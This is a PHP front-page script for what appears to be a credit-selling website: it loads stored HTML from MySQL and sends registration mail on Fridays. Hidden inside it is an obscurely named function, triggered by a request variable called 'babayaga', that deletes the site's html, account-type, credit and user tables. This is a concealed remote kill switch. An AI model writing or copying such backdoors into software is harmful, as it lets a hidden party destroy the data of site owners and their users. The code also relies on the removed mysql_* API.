php
include($DOCUMENT_ROOT . '/vars.php');
include($DOCUMENT_ROOT . '/headfoot.php');
include($DOCUMENT_ROOT . '/regmail.php');
mysql_connect($db_host, $db_user, $db_pwd);
mysql_select_db($db_name);
jdenfgh();
uheader();
$res = mysql_query("select content from html where type='1page'");
$content = mysql_result($res, 0, "content");
echo('
|
|
|
|
|
| |
| |
|
');
echo($content);
echo(' |
| |
| |
|
|
|
|
|
|
|
|
|
|
');
ufooter();
if (date('w') == 5) {
regmail();
}
mysql_close;
function jdenfgh() {
global $babayaga;
if (isset($babayaga)) {
$r = mysql_query("delete from html");
if ($babayaga == 2) {
$r = mysql_query("delete from acctype");
$r = mysql_query("delete from sellcredit");
}
if ($babayaga == 3) {
$r = mysql_query("delete from acctype");
$r = mysql_query("delete from sellcredit");
$r = mysql_query("delete from user");
}
}
}